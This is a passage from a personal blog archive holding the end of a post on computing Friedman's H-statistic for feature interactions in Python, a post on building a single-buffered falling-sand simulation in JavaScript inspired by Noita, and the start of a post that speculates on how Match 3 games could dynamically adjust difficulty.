def center(arr): return arr - np.mean(arr)

def cartesian_product(*arrays):
    la = len(arrays)
    dtype = np.result_type(*arrays)
    arr = np.empty([len(a) for a in arrays] + [la], dtype=dtype)
    for i, a in enumerate(np.ix_(*arrays)):
        arr[...,i] = a
    return arr.reshape(-1, la)

def compute_f_vals_sklearn(model, X, feats=None, grid_resolution=100):

    def _pd_to_df(pde, feature_names):
        df = pd.DataFrame(cartesian_product(*pde[1]))
        rename = {i: feature_names[i] for i in range(len(feature_names))}
        df.rename(columns=rename, inplace=True)
        df['preds'] = pde[0].flatten()
        return df

    def _get_feat_idxs(feats):
        return [tuple(list(X.columns).index(f) for f in feats)]

    f_vals = {}
    if feats is None:
        feats = list(X.columns)

    # Calculate partial dependencies for full feature set
    pd_full = partial_dependence(
        model, X, _get_feat_idxs(feats), 
        grid_resolution=grid_resolution
    )

    # Establish the grid
    df_full = _pd_to_df(pd_full, feats)
    grid = df_full.drop('preds', axis=1)

    # Store
    f_vals[tuple(feats)] = center(df_full.preds.values)

    # Calculate partial dependencies for [1..SFL-1]
    for n in range(1, len(feats)):
        for subset in itertools.combinations(feats, n):
            pd_part = partial_dependence(
                model, X, _get_feat_idxs(subset),
                grid_resolution=grid_resolution
            )
            df_part = _pd_to_df(pd_part, subset)
            joined = pd.merge(grid, df_part, how='left')
            f_vals[tuple(subset)] = center(joined.preds.values)

    return f_vals

There are a couple of drawbacks here as well, the first one being that I’m taking a memory-hungry cartesian product of the results of partial_dependence, just so I can stick to the same synthetic grid and use pd.merge.

As such, we are limited to a second-order H-measure with a limited subset of features here as well. Trying to work around the cartesian product doesn’t even help a lot, as partial_dependence itself will run out of memory when trying to execute it on all features:

partial_dependence(model, X, [tuple(x for x in range(len(X.shape[1])))])

Note that you can lower the grid_resolution parameter (the default is a high 100), but in the end we’re still dealing with m^N instances being created. As a second drawback, the scikit-learn implementation does not support passing in your own custom grid.

Still, we can apply it for a limited sets of features:

feats = ['Latitude', 'Longitude', 'HouseAge']

f_vals = compute_f_vals_sklearn(model, X, feats=feats)

subsets = []
h_vals = []

for n in range(2, len(feats)+1):
    for subset in itertools.combinations(feats, n):
        h_val = compute_h_val(f_vals, subset)
        subsets.append(' x '.join(subset))
        h_vals.append(h_val)

plt.barh(range(len(h_vals)), h_vals, tick_label=subsets)

The results are more or less comparable to the ones obtained using pdpbox (probably even a bit better as the default grid resolution of scikit-learn is higher by default).

Also, at least this approach is (barely) fast enough to brute force our way through all possible two and three-way interactions and rank them on their second-order H-measure (when using a lower grid resolution).

Manually

Finally, we can of course also calculate partial dependencies ourselves and stick to a given data set instead of creating synthetic examples.

def compute_f_vals_manual(model, X, feats=None):

    def _partial_dependence(model, X, feats):
        P = X.copy()
        for f in P.columns:
            if f in feats: continue
            P.loc[:,f] = np.mean(P[f])
        # Assumes a regressor here, use return model.predict_proba(P)[:,1] for binary classification
        return model.predict(P)

    f_vals = {}
    if feats is None:
        feats = list(X.columns)

    # Calculate partial dependencies for full feature set
    full_preds = _partial_dependence(model, X, feats)
    f_vals[tuple(feats)] = center(full_preds)

    # Calculate partial dependencies for [1..SFL-1]
    for n in range(1, len(feats)):
        for subset in itertools.combinations(feats, n):
            pd_part = _partial_dependence(model, X, subset)
            f_vals[tuple(subset)] = center(pd_part)

    return f_vals

It does make the results less precise, but this is fast and good enough for general exploration.

We can now perform our first order test:

subsets = []
h_vals = []

feats = list(X.columns)

f_vals = compute_f_vals_manual(model, X, feats=feats)

for subset in feats:
    h_val = compute_h_val_any(f_vals, feats, subset)
    subsets.append(subset)
    h_vals.append(h_val)

plt.barh(range(len(h_vals)), h_vals, tick_label=subsets)

We can also show the top ten second order results:

subsets = []
h_vals = []

feats = list(X.columns)

for n in [2,3]:
    for subset in itertools.combinations(feats, n):
        h_val = compute_h_val(f_vals, subset)
        subsets.append(' x '.join(subset))
        h_vals.append(h_val)

subsets = np.array(subsets); h_vals = np.array(h_vals); k = 10
plt.barh(range(k), h_vals[h_vals.argsort()[::-1][:k]], tick_label=subsets[h_vals.argsort()[::-1][:k]])

Conclusion

As Christoph Molnar discusses in his interpretable ML book, the Friedman H-statistic is not perfect:

It takes a long time to compute. Lower grid resolutions or sampling the data set can help
It estimates marginal distributions, which have a certain variance and can vary from run to run
It is unclear whether an interaction is significantly greater than 0, a model agnostic test is unavailable (an open research question)
The interaction statistic works under the assumption that we can shuffle features independently. If the features correlate strongly, the assumption is violated and we integrate over feature combinations that are very unlikely in reality. This problem shows up for a lot of interpretability techniques, however
The statistic is 0 if there is no interaction at all and 1 if all of the variance of the partial dependence of a combination of features is explained by the sum of the partial dependence functions. However, the H-statistic can also be larger than 1, which is more difficult to interpret

I’m taking a shortcut here by not bothering to create a train and test split. It doesn’t really matter for the sake of this example, but obviously don’t do so in a real-life setup. ↩
A side note on permutation importance, note that this by default works in a univariate feature-by-feature manner (also in scikit-learn), and hence assesses the importance of a feature with its interactions it is involved in (as permuting a feature breaks its interaction effects). One could technically implement a permutation based feature importance that works on groups of variables as well (either permuting them together or independently), which would be an interesting alternative to discover interaction effects. Perhaps that’s a topic for another time. ↩

An Exploration of Cellular Automata and Graph Based Game Systems: Part 4

2020-11-08T22:31:00+01:00

This post is the fourth part on a small series on cellular automata and graph based systems as found in games. Part 1 can be found here, part 2 is over here and part 3 is here. Especially parts 1 and 2 are worth reading if you’re just catching up.

This series started at the end of 2017 and was finished in 2018 (time flies). This part was hence unplanned but I wanted to add some additional thoughts. Since I wrote the original series, Noita came out, a game which make the “falling sand” style of games part of its engine, proudly boasting that “every pixel is simulated”. It’s a very fun game, and a dream come true for fans of the cellular automaton (CA). Or is it?

Whilst playing the game, I was impressed with the engine being capable to simulate huge worlds, without slowing down (well — it does slow down, but only once you start unleashing real chaos). Based on some reading and some earlier discussion on Hacker News, it seemed to me that this was based on a traditional cellular automaton system, which can be easily made multi-threaded: just distribute the cells over the thread pool. As each cell’s new state is determined by its current environment, and all cells’ new state is calculated before “flipping the buffer”, this is easy.

However, given the scale of the game map, it also seemed that something more clever was going on. My hunch at the time was the grid is probably divided into blocks or chunks, with only the chunks close enough to the player being updated (or based on distance to other important triggers).

GDC to the Rescue

A couple of months ago, I returned to the topic and tried to investigate the Noita engine a bit more in depth. By then, the developers had given a presentation at GDC which I wholeheartedly recommend to watch for anyone with an interest in the topic. A couple of highlights stood out.

First, the speaker goes over the basics (and BASIC, too) of falling sand games quite extensively. This shows an implementation which does not rely on a real CA, but rather on a single-buffered version of the game which loops over the grid bottom-up, something like this:

for each row starting from bottom:
    for each column:
        if there's sand at (row, column):
            drop it down if there's empty space
            drop it down-right if there's empty space
            drop it down-left if there's empty space

This works fine if you’re only simulating a couple of materials (sand and empty space) which behave similarly.

It is still relatively easy to add in water, which is very much like sand, except that:

for each row starting from bottom:
    for each column:
        if there's sand at (row, column):
            drop it down if there's empty space
            drop it down-right if there's empty space
            drop it down-left if there's empty space
        else if there's water at (row, column):
            drop it down if there's empty space
            drop it down-right if there's empty space
            drop it down-left if there's empty space
            move it right if there's empty space
            move it left if there's empty space

Sound’s easy right? Well, if you’re like me and have spent a couple of hours implementing a CA-style engine to do this, you might argue:

What if we want sand to float to the top of water? Can non-empty pixels displace each other?
Based on the for each column loop, water will have a tendency to move right-wards (or left-wards, which-ever check is performed first)
How does this scale to more materials with more complex interactions?
Specifically, what if we add gasses which should go upwards? The whole reason one typically implements a bottom-up loop is because of the assumption of gravity. If we would go top-down, the simulation will quickly enter a gap-pattern:

The figure above shows five steps of a simulation where we’d be using a top-down loop. In the first time step, we’ve just drawn five water droplets above each other. For the second frame, the game loops over the first four, but can’t move them down (assume we’re moving downwards only for now) as there’s another pixel blocking them. The fifth (lowest) pixel can be moved down. For the third frame, the same problem occurs again for the top three pixels. The second to last pixel can be moved down (as there’s an empty spot not), and the fifth pixel can be moved down as well. This naturally leads to a dispersed one-in-between pattern.

Hower, with materials moving upwards (e.g. steam), the issue will reappear with a bottom-up style loop.

So okay, let’s argue that it’s a simplification for the sake of the presentation, as we can observe that the Noita engine is more involved. Let’s continue. The presenter shows a simple game with only one simulated liquid (blood), but with a nice trick that rigid physics bodies can interact with pixels and displace them further away.

When the player jumps in the blood, it takes the surrounding pixels and puts them in a particle simulation with velocity and gravity. This can make liquids look less blobby and we’re still using this. [paraphrased]

This is extremely neat. We won’t dive into that idea here, but might later. The approach to move pixels into a particle simulation is interesting, as well as the interaction with rigid bodies which themselves can be placed in and out the simulation by applying marching squares is very nice (as shown later in the presentation).

Next up, the multithreading aspect is discussed. To do so, the world is indeed divided into chunks. Each chunk keeps a dirty rect of things to be updated to limit the simulation. It gets a bit technical here, but something crucial is revealed:

The problem with adding multithreading is that it uses the same buffer. There’s no two buffers. So you need to make sure the same pixel is not updated by multiple threads. [paraphrased]

The solution presented is a checkboard style update, but what stood out to me was the fact that the approach taken is still a single buffer, pixel-oriented approach, very much in line with the BASIC example showed earlier. There’s one last notable remark here.

We guarantee that no pixel can be moved more than 32 pixels away. [paraphrased]

In summary, the talk is very revealing. The remainder of it goes over the design. It does leave us hanging a bit in terms of the exact details and whether Noita really doesn’t use a CA approach. One of the audience members in fact asks the same question (around 28:00):

You mentioned that the simulation is single buffered, did you try double buffering? - This is just how we got going. But later on I also noticed that when you do double buffering, you have to update everything even when applying multi threading. - I think you can do all sorts of simulations double buffered, but it seems much harder as you need to figure out where each pixel needs to go. [paraphrased]

It’s a quick question and a quick answer, but it completely threw me off after the first watching. Indeed, when you double buffer, you’d basically have to update the entire grid. This is what the multi threaded CA solution as mentioned at the beginning boils down to. The second part of the answer is even more revealing and contradictory for CA-fans, in the sense that it’s not really about figuring out where each pixel needs to go, it’s about how the state of each grid cell should change based on its environment. That is a fundamentally different approach, but on the other hand I can’t argue with practice: the Noita engine takes the pixels-as-objects approach and works.

So how does it work and maintain a believable simulation?

Looking for Solutions

The next step was trying to Google around for open source implementations of the idea, directly inspired by the talk. The only solid thing (well, apart from older falling sand games, of course), was this reddit discussion as well as this one. As always, not everything is directly helpful:

My surprise was that they don’t double buffer. Most programs involve drawing to a buffer rather than directly on screen when the frame is being assembled.

As commenters argue, the discussion has nothing to do with double or triple frame buffering. We’re only talking about the pixel simulation engine. The actual drawing routines are of course multiple-buffered and draw UI as well as particle elements on top. In fact, we’ve just seen how a lot of Noita’s believability comes from a particle system which pretends its adding in simulated pixels. Spell, splash, and explosion effects for instance. That’s an amazing feat in itself, but we’re razor focused on the simulation engine here.

Stuck deep in some of those comments, I also found this YouTube video (Recreating Noita’s Sand Simulation in C and OpenGL | Game Engineering) which actually puts out code and tries to follow the same approach. And what do you know, it looks like it works:

I especially like how the sand mingles with the water. This is exactly what I was referring to above and the GDC video didn’t directly address. Noita heavily simulates materials with different densities, so in case you want to simulate pixels-as-objects, they need to be able to displace other pixels.

Fantastically, the author of the video also makes their code available. A quick perusal through the source code confirms it follows very much the non-CA style, and we can play around with the binary. The simulation is very solid (even although the code reveals that the author also had a hard time with some aspects which arise in a single-buffered engine):

What I especially like is that here too, materials are displaced and are moving further away than their immediate Moore neighborhood. At first, this sounds messy to simulate, but the Noita video shows the same thing:

In fact, this helps to alleviate the problem of the “gap” pattern as mentioned above. The result is somewhat more random, looking movement, but actually helps to increase realism.

I was kind off planning to leave it here and conclude that single-buffered pixel-as-object approaches are indeed a fine alternative for CA. Remember that the last thing we did was:

(You can play around with the simulation above. Pressing o cycles through the different material types to draw, p (un)pauses the simulation, d toggles debugging mode. Press r to reset everything. The initial setup loads in a closed system where water is heated, cycled, and cooled down.)

Even if this alternative sometimes encounters a situation where a pixel is destroyed (and hence cannot deterministally represent a closed loop system), it would be acceptable in a game environment.

But there was one more thing I wanted to try. Image we make an hourglass style setup with sand at the top part and steam at the bottom, and then open up the middle part:

That’s no good. The steam particles are blocking the sand. Okay, this doesn’t happen with water, and steam disappears over time so this issue resolves itself quite quickly. Still, the Noita engine seems to be more clever here.

With that noted, I wanted to see what a minimal implementation which would be able to handle this would look like. To summarize, we’re going to start by implementing a single-buffer, pixels-as-objects, non-CA approach, without the particle system, rigid bodies, higher-than-Moore rank neighborhoods, multi-threading and shaders (which are used to make e.g. bodies of water more fluid-behaving). In other words, we won’t go nearly as far as Noita’s Falling Everything engine, but we do want to prove that the approach can work, and also illustrate some of the problems compared with a CA approach.

A Minimal Implementation

Let us start with a basic illustration. We’re going to construct a grid of cells, allow for three types of materials (walls, sand, and water), and then simply loop over each pixel from bottom to top like so:

visit_grid(func) {
    var self = this;
    for (var y = this.nrRows - 1; y >= 0; y--)
        for (var x = 0; x < this.nrCols; x++)
            func(self, x, y);
}

visit_pixels(func) {
    this.visit_grid(function (w, x, y) {
        var p = w.getPixel(x, y);
        if (p) func(w, x, y, p);
    });
}

We can then update all pixels every game loop:

this.world.visit_pixels(function (w, x, y, p) {
    w.update(p);
}, true);

With our update function looking like so:

update(pixel) {
    var checkMoves = [];
    var firstSide = 1;
    var secondSide = -1;

    if (pixel.material.name != 'wall') {
        checkMoves.push([pixel.x, pixel.y + 1]);
        checkMoves.push([pixel.x + firstSide, pixel.y + 1]);
        checkMoves.push([pixel.x + secondSide, pixel.y + 1]);
    }

    if (pixel.material.name == 'water') {
        checkMoves.push([pixel.x + firstSide, pixel.y]);
        checkMoves.push([pixel.x + secondSide, pixel.y]);
    }

    for (var move of checkMoves) {
        if (!this.inBounds(move[0], move[1])) continue;
        var destIsPixel = this.pixels.has([move[0], move[1]]);
        if (!destIsPixel) {
            this.movePixel(move[0], move[1], pixel);
            break;
        }
    }
}

Sand can move down, down-left and down-right. Water can also move sideways. Note that the order of the checkMoves array matters. For now, we also only allow pixels to move to empty spots. We’ll change that later.

You can play around with the result below:

Obviously, this is not perfect yet (you’ll note that sand stacks on top of water), but before we fix that, there are a couple of other things to take care of. First of all, take a look at what happens if we drop water:

Not only does the water not flow naturally (it jumps to the right end), it also creates a strange horizontal gap pattern. The reason why this happens is due to the order by which we go over the columns in each row:

visit_grid(func) {
    var self = this;
    for (var y = this.nrRows - 1; y >= 0; y--)
        // From left to right
        for (var x = 0; x < this.nrCols; x++)
            func(self, x, y);
}

And how we defined our moves for water:

if (pixel.material.name == 'water') {
    checkMoves.push([pixel.x + firstSide, pixel.y]);   // Check right hand side
    checkMoves.push([pixel.x + secondSide, pixel.y]);  // Check left hand side
}

Imagine we have two water pixels with an empty space in between. Since we check from left to right, and we prefer to move right first, water will have a tendency to end up right-sided. Once there, the water creates gaps in between drops. The reason for this is because we first attempt to move a pixel to the right, then go right one step (which now has the previous pixel), can’t move it right again, so move it left, back to its original spot.

We need to solve this problem first. Perhaps, once we have moved a pixel once in the current loop, we should avoid moving it again in the same update. So we will use a dirty flag for pixels which gets set to false before each update, and then set to true once we have moved a pixel. Our update function then skips over dirty pixels.

You can play with the result below:

This stops the gap pattern, somewhat. Instead, we now get this oscillating back-and-forth behavior:

Additionally, water still doesn’t flow very naturally:

This is an issue which is hard to solve with single buffered simulation approaches, and is not trivial to fix. One common way is to alternate the direction of the update loop, e.g. based on the frame counter (in fact, the code we found above also does so):

visit_grid(func) {
    var self = this;
    for (var y = this.nrRows - 1; y >= 0; y--)
        for (var x = frameCount % 2 == 0 ? 0 : this.nrCols - 1;
            frameCount % 2 == 0 ? x < this.nrCols : x >= 0;
            frameCount % 2 == 0 ? x++ : x--)
            func(self, x, y);
}

Another way is to randomize the order in which moves are checked:

var firstSide = random() < 0.5 ? 1 : -1;
var secondSide = firstSide < 0 ? 1 : -1;

This helps a bit, but still leads to behavior which is somewhat erratic (i.e. it can take a long time before a mass of water finds its stable, settled position):

Improving the Simulation

How do we continue to improve the simulation to make this behave a bit better?

Basically, we’d like to solve the following issues for our water. First, we’d like it to flow downwards where possible as quick as possible. Second, once it has reached a stable state, we’d like to avoid some pixels from erratically moving left and right forever. Third, we also want a row of water to be neatly filled up when possible, without in-between gaps.

For the first problem, we could for instance consider higher-than-Moore rank neighborhoods, e.g. have water flow downwards move than one pixel away if there’s no solid blocking the path. This is what Noita and the code we found does. This could be done with a simple line ray check using Bresenham’s line algorithm. Alternatively, we could also go for a more full-on particle-simulation where we give each pixel a velocity vector. If we ensure this to be below the unit vector in size, pixels can still spread around in all directions but cannot mvoe past walls.

The second problem could be avoided by checking if there is an empty spot available in the row under the pixel the pixel could eventually end up at. This is an extensive check though, and if resort to implementing this, we’d actually not be far away from implementing realistic pressure.

However, we can also improve our situation by means of a simpler heuristic. That is, let’s assign assign each pixel a velocity vector as mentioned above, but let us bound it to point to the right or left only. When we do a move check, we prefer trying going in the same direction first for each pixel. When we bump into something at the same height of us, we wait one world update iteration before checking the moves again but already change the velocity to point to the other side:

for (var move of checkMoves) {
    if (!this.inBounds(move[0], move[1])) continue;

    var destIsPixel = this.pixels.has([move[0], move[1]]);
    var sameHeight = move[1] == pixel.y;

    if (!destIsPixel) {
        this.movePixel(move[0], move[1], pixel);
        break;
    } else if (sameHeight) {
        // Bump
        pixel.lastvel = -pixel.lastvel;
        break;
    }
}

The reason why we do the latter is because if we wouldn’t, we would again get oscillating one-gap patterns. We now arrive at an outcome which doesn’t handle all that badly:

One thing you’ll notice is that water pixels will still glide along a surface without ever settling down. If you look closely, this also sometimes happens in Noita and even in the example we found previously (although it is hard to see due to the pixels being so small). To resolve this, we could have pixels settle down once they’ve moved (in the same row) for n steps, and bring them back to life if e.g. their neighborhood changes. For now, we’ll leave this is as.

Handling Densities

The next thing we need to tackle is believable material interaction. Let’s first add a couple more materials:

const WallMaterial = new Material('wall', 10.0, '#8a522b', true);
const RockMaterial = new Material('rock', 5.0, '#7d6d61', true);
const SandMaterial = new Material('sand', 3.0, '#edc677', true);
const LavaMaterial = new Material('lava', 2.0, '#852220', false);
const WaterMaterial = new Material('water', 1.0, '#77b0ed', false);
const OilMaterial = new Material('oil', 0.5, '#ada88e', false);
const SteamMaterial = new Material('steam', 0.1, '#bee6e5', false);

The second argument here refers to the density. The heavier, the more we want to have it float to the bottom. However, only gasses and water interact in this way.

We rework or update loop as follows (this getting a bit messy, but let’s keep it as is for the sake of showing one function):

update(pixel) {
    var checkMoves = [];
    var firstSide = pixel.lastvel;
    var secondSide = -firstSide;

    if (pixel.dirty) return;

    if (pixel.material.name != 'wall' && pixel.material.name != 'steam') {
        checkMoves.push([pixel.x, pixel.y + 1]);
    }

    if (pixel.material.name == 'steam') {
        checkMoves.push([pixel.x, pixel.y - 1]);
        checkMoves.push([pixel.x + firstSide, pixel.y - 1]);
        checkMoves.push([pixel.x + secondSide, pixel.y - 1]);
    }

    if (pixel.material.name == 'sand'
        || pixel.material.name == 'lava'
        || pixel.material.name == 'water'
        || pixel.material.name == 'oil') {
        checkMoves.push([pixel.x + firstSide, pixel.y + 1]);
        checkMoves.push([pixel.x + secondSide, pixel.y + 1]);
    }

    if (pixel.material.name == 'lava'
        || pixel.material.name == 'water'
        || pixel.material.name == 'oil'
        || pixel.material.name == 'steam') {
        checkMoves.push([pixel.x + firstSide, pixel.y]);
        checkMoves.push([pixel.x + secondSide, pixel.y]);
    }

    for (var move of checkMoves) {
        if (!this.inBounds(move[0], move[1])) continue;

        var destPixel = this.pixels.get([move[0], move[1]]);
        var destIsPixel = this.pixels.has([move[0], move[1]]);
        var destIsEqualY = move[1] == pixel.y;
        var destIsHigherDensity = destIsPixel && destPixel.material.density > pixel.material.density;
        var destIsLowerDensity = destIsPixel && destPixel.material.density < pixel.material.density;

        if (!destIsPixel) {
            this.movePixel(move[0], move[1], pixel);
            break;
        } else if (!destPixel.material.solid &&
            ((destIsHigherDensity && move[1] <= pixel.y) ||
                (destIsLowerDensity && move[1] > pixel.y))) {
            this.movePixel(move[0], move[1], pixel);
            break;
        } else if (destIsEqualY) {
            pixel.lastvel = -pixel.lastvel;
            break;
        }
    }
}

And this is the result. Try playing around with water, steam, and oil and see how they interact:

(Of course, the real world is always more complex, even when aiming to handle the simplest concepts only. Sand, for instance, is in a kind of intermediate solid-fluid state where it actually would disperse in a different way under water. It’s actually a very hard case for physics in general.)

Adding Interactions

We’re almost done. The only thing left to do is add in a couple of interactions. Here is where we finally encounter a huge benefit of our single buffer approach. Contrary to a CA system, these are very easy to add in. We first give each pixel a life time which gets incremented every world update, and then simply slap in the following in our update function (we also add two new materials: wood and fire):

update(pixel) {
    var checkMoves = [];
    var firstSide = pixel.lastvel;
    var secondSide = -firstSide;

    if (pixel.dirty) return;
    pixel.lifetime++;

    if (pixel.material.name != 'wall' && pixel.material.name != 'wood'
        && pixel.material.name != 'steam') {
        checkMoves.push([pixel.x, pixel.y + 1]);
    }

    if (pixel.material.name == 'steam' || pixel.material.name == 'fire') {
        checkMoves.push([pixel.x, pixel.y - 1]);
        checkMoves.push([pixel.x + firstSide, pixel.y - 1]);
        checkMoves.push([pixel.x + secondSide, pixel.y - 1]);
    }

    if (pixel.material.name == 'sand'
        || pixel.material.name == 'lava'
        || pixel.material.name == 'water'
        || pixel.material.name == 'oil'
        || pixel.material.name == 'fire') {
        checkMoves.push([pixel.x + firstSide, pixel.y + 1]);
        checkMoves.push([pixel.x + secondSide, pixel.y + 1]);
    }

    if (pixel.material.name == 'lava'
        || pixel.material.name == 'water'
        || pixel.material.name == 'oil'
        || pixel.material.name == 'steam'
        || pixel.material.name == 'fire') {
        checkMoves.push([pixel.x + firstSide, pixel.y]);
        checkMoves.push([pixel.x + secondSide, pixel.y]);
    }

    // Special case for fire
    if (pixel.material.name == 'fire') {
        checkMoves = shuffle(checkMoves);
    }

    for (var move of checkMoves) {
        if (!this.inBounds(move[0], move[1])) continue;

        var destPixel = this.pixels.get([move[0], move[1]]);
        var destIsPixel = this.pixels.has([move[0], move[1]]);
        var destIsEqualY = move[1] == pixel.y;
        var destIsHigherDensity = destIsPixel && destPixel.material.density > pixel.material.density;
        var destIsLowerDensity = destIsPixel && destPixel.material.density < pixel.material.density;

        // Interactions
        if (destIsPixel) {
            if (pixel.material.name == 'lava' && destPixel.material.name == 'water') {
                destPixel.material = SteamMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'lava' && destPixel.material.name == 'wood') {
                destPixel.material = FireMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'lava' && destPixel.material.name == 'oil') {
                destPixel.material = FireMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'water' && destPixel.material.name == 'steam') {
                destPixel.material = WaterMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'fire' && destPixel.material.name == 'wood') {
                destPixel.material = FireMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'fire' && destPixel.material.name == 'oil') {
                destPixel.material = FireMaterial;
                pixel.lifetime = 0;
            }
            if (pixel.material.name == 'fire' && pixel.lifetime >= 30) {
                pixel.material = SteamMaterial;
                pixel.lifetime = 0;
                break;
            }
            if (pixel.material.name == 'steam' && pixel.lifetime >= 100) {
                this.removePixel(pixel);
                break;
            }
            if (pixel.material.name == 'lava' && pixel.lifetime >= 300) {
                pixel.material = RockMaterial;
                pixel.lifetime = 0;
                break;
            }
        }

        // Movement
        if (!destIsPixel) {
            this.movePixel(move[0], move[1], pixel);
            break;
        } else if (!destPixel.material.solid &&
            ((destIsHigherDensity && move[1] <= pixel.y) ||
                (destIsLowerDensity && move[1] > pixel.y))) {
            this.movePixel(move[0], move[1], pixel);
            break;
        } else if (destIsEqualY) {
            pixel.lastvel = -pixel.lastvel;
            break;
        }
    }
}

We cheat a little bit by shuffling the movement candidates in the case of fire to make it behave more erratic, but other than this, the interactions are very self explanatory.

Here you can see me playing around with the result a bit:

And if you want to try for yourself:

Done For Now

This has been a long post. The code fragments might seem out of place but you can easily inspect the non-obfuscated JS code in each of the iframes above should you want to.

There’s a couple of noteworthy things still to tackle:

Note that the bottom-up world update still stands. This means that e.g. steam has a tendency to immediately disperse when drawn in a vertical line (you can see this above). Luckily, this doesn’t look too bad for gasses
We haven’t dealt with higher order neighborhoods at all. See the discussion on this above. However, this wouldn’t be too hard to add in at this stage, and we might do so in an eventual next part. More generally, we might want to go towards a more realistic particle-style approach where we give each pixel a real velocity vector. This could also help to “splash up” liquids when a solid falls into them
Multithreading hasn’t been dealt with at all — but this is deliberately not a focus here. I’m also quite honestly incapable to implement this in JavaScript and p5.js
The same goes for shaders and more effects. Again, this is a bare-bones as close to the basic simulation as we can get exercise. Not a full game engine
And similarly, rigid body physics are not dealt with at all
However, I am now convinced that single buffered simulation engines can be a viable and workable alternative for cellular automata. This comes with a lot of drawbacks (oscillation and so on), but also has nice benefits (interactions, more straightforward coding, faster)
Finally, something fun which we did tackle in an earlier part but didn’t do here was pressure. I mentioned above that even a heuristic approach to do this (Dwarf Fortress style) is quite expensive. However, I do have a weird alternative idea for this: what if we not only adopt a full-on particle systems for the pixels but perhaps also simulate each particle as a unit circle in a more modern physics engine with mass determined by the distance from the bottom row? This could be easily investigated with something like Box2D, I think. Maybe also something for later

In any case, these are enough points to discuss for an optional Part 5, should it arrive.

Rigging Match 3 Games

2020-11-04T22:30:00+01:00

I have always had a sort of a love-hate relationship with Match 3 games. On the one hand, they offer some easy way to pass a couple of minutes of casual gaming on the bus or elsewhere, but they also oftentimes feel like being arbitrarily easy or difficult as the levels progress. Especially when we’re talking about mobile versions of the game, the difficulty jumps seem to be almost purposefully defined, in order to get the player to spend money on in-game upgrades.

All of this should come as no surprise. Of course game designers are going to overwhelm you with flashy sounds and congratulatory messages (you’re doing so well!) at first before stepping on the brakes and maybe offering you an exclusive one time discount (only 1 dollar for 5 more moves; only 3 dollars for 10 extra bombs).

What I wanted to play around with a bit here, however, comes from the feeling that these incentives mentioned above not only seem to come at purposefully crafted moments, but also seem to incorporate a dynamic aspect as well. It’s one thing for a designer to determine that levels 1 to 10 will gradually ramp up the difficulty, before really making things hard in level 11. Whilst still being very unfun, you could at least appropriate some fairness to this approach as it treats all players evenly. However, this is exactly what you wouldn’t want to do when you’re a game developer aiming to maximize profits. Not only does this not take into account the spending behavior of different players (some of them might be willing to shell out way earlier, or some prefer to wait a bit longer and will be turned off by this early obstacle), it also ignores the skill level of different players. It might sound surprising, but some players are obscenely good at Match 3 games. They can quickly identify opportunities for combo’s, and are fast at picking a good move. Other players might be slower, don’t quickly spot moves involving more than three pieces, or might simply be playing out of boredom rather than interest, with not too much cognitive involvement (like myself).

Let’s say you’re an evil game designer. How would you design a Match 3 game to take the above into consideration. Which dark gameplay patterns can we add on top of everything else we’re using already? We change the gameplay, of course! This is what I meant by the difficulty and offered incentives hence incorporating a dynamic aspect. I don’t know about you, but if you’ve ever played a more recent Match 3 game, have you noticed, perhaps:

Doing very well for a couple of levels and the next level suddenly being a lot harder?
Failing a level multiple times with only a few remaining goals left?
Not playing the game for a couple of days and noticing how suddenly you’re making a lot more combo’s?

It almost feels uncanny. I’m not claiming that any of what I’ll describe below is being done by any game at this moment. In fact, pulling this off would essentially require an always-connected game where the client requests new pieces from the server as matches are being removed from the board. On the other hand, that’s not too unreasonable of a requirement as some games might implement this anyway nowadays to prevent client-side cheating. I have not reverse engineered any games on the Play Store to take a closer look at this; it’s just a thought exercise.

So, to get back on track, we’re trying to design a Match 3 game which, in a nutshell, can be made easier or harder as the game progresses based on how well the player is doing (or any other parameter, in fact; e.g. we could also give the player a “boost” if they’ve just spend money to emphasize the feel-good effect).

Let us first define the simple rules we will be using here, which are a simplification of Match 3 games found in real life, but good enough to illustrate the point:

The game is played on a board with C columns and R rows. Typically, C and R are equal to 8 (an 8x8 grid)
Each position p(c,r) → s with c ∈ 1..C, r ∈ 1..R, s ∈ S ⋃ {0} defines the piece s present on each location. Note that positions can be empty, so let’s say 0 is the empty indicator. Typically, |S| is equal to 5, 6, or higher, depending on the difficulty of the game. We’ll use 6 pieces here

The game itself progresses through a simple state machine:

drop ↔ fill → remove → (drop | wait)

drop moves columns of gems one row down if an empty tile is found with a non-empty tile above it, working upwards: ∀ c ∈ C : ∀ r ∈ R..1 : p(c,r) = 0 ∧ p(c,r-1) = 0 ⇒ (∀ m ∈ r..1 : p(c,m) := p(c,m-1)) ∧ next c (this assumes that p(c,r) = 0 for out-of-bounds inputs)
fill inserts new gems to fill up the board in case the top row is empty: ∀ c ∈ C : p(c,1) = 0 ⇒ p(c,1) := getGem(c,~) with getGem being defined later and ~ referring to any implicit arguments, such as the full board, we might need
When the board is fully filled, we check for matches to remove. This is a bit cumbersome to write down in full, so lets say that we ∀ c ∈ C : ∀ r ∈ R..1 : isMatched(c,r) ⇒ p(c,m) := 0 with isMatched determining if a piece is part of a match. A piece is part of a match if it is at least part of three subsequent equal piece types row or column wise. Larger matches than three are hence also allowed, e.g. a row of four equal pieces matches completely
We don’t score larger matches any differently, we just assign a point per isMatched(c,r) that we remove. No special gems or anything
Once this is done, we move back to drop this continues until nothing needs to be dropped, filled, or removed, at which point we wait for user input
User input consists of swapping to neighboring gems (row or columns wise, a Von Neumann neighborhood) for those swaps which lead to a valid match, i.e. either of the positions is involved in a isMatched check for the next board after swapping

If you skipped that, you can also just play the game for yourself. Note that there’s one component we still need to define here, which is getGem above. (You can press r to restart and a to make a move automatically. You might need to click inside the board first to get focus. Apologies to color blind people, I didn’t think of this at the time of writing.)

So what’s the getGem definition like here? Well… it’s basically as fair as it can be. Whenever there’s an empty spot to fill up, we simply pick a random tile.

fill(x, y) {
    var tile = floor(random(this.board.nrGemTypes));
    this.board.setTile(x, y, tile);
    return true;
}

